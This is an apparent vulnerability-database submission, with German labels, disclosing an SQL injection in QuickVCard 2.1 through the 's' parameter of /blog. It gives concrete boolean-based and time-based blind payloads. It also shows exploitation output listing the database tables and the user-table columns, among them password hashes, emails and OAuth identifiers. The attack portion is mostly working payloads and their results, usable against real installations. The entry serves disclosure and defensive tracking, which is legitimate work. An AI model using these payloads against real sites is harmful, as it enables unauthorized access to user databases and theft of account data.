| Titel | QuickVCard 2.1 - SQL Injection |
|---|
| Beschreibung | # Exploit Title: QuickVCard 2.1 - SQL Injection
# Date: 07/07/2023
# Exploit Author: skalvin aka (CraCkEr)
# Vendor: bylancer
# Vendor Homepage: https://bylancer.com/
# Software Link: https://quickvcard.by-code.com/
# Version: 2.1
# Tested on: Windows 10 Pro
# Impact: Database Access
Release Notes:
SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.
Path: /blog
https://website/blog?s=[SQLI]
GET parameter 's' is vulnerable to SQL Injection
---
Parameter: s (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: s=123') OR 02449=2449 OR ('04586'='4586
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: s=123'XOR(IF(now()=sysdate(),SLEEP(5),0))XOR'Z
---
[+] Starting the Attack
fetching current database
current database: 'quickvcardcode_**'
fetching tables
[27 tables]
+----------------------+
| vc_upgrades |
| vc_languages |
| vc_balance |
| vc_transaction |
| vc_vcard_options |
| vc_payments |
| vc_time_zones |
| vc_user |
| vc_plans |
| vc_user_options |
| vc_faq_entries |
| vc_admins |
| vc_vcards |
| vc_blog_cat_relation |
| vc_vcard_view |
| vc_blog_categories |
| vc_testimonials |
| vc_blog |
| vc_subscriber |
| vc_blog_comment |
| vc_logs |
| vc_countries |
| vc_taxes |
| vc_options |
| vc_currencies |
| vc_plan_options |
| vc_pages |
+----------------------+
fetching columns for Table: vc_user
[47 columns]
+----------------+
| id |
| group_id |
| username |
| user_type |
| balance |
| password_hash |
| forgot |
| confirm |
| email |
| status |
| view |
| created_at |
| updated_at |
| name |
| tagline |
| description |
| dob |
| salary_min |
| salary_max |
| category |
| subcategory |
| website |
| sex |
| phone |
| postcode |
| address |
| country |
| city |
| city_code |
| state_code |
| country_code |
| image |
| lastactive |
| facebook |
| twitter |
| googleplus |
| instagram |
| linkedin |
| youtube |
| oauth_provider |
| oauth_uid |
| oauth_link |
| online |
| notify |
| notify_cat |
| currency |
| menu_layout |
+----------------+
[-] Done |
|---|
| Benutzer | skalvin (UID 49463) |
|---|
| Einreichung | 07.07.2023 18:02 (vor 3 Jahren) |
|---|
| Moderieren | 15.07.2023 18:22 (8 days later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 234233 [Bylancer QuickVCard 2.1 GET Parameter /blog s SQL Injection] |
|---|
| Punkte | 17 |
|---|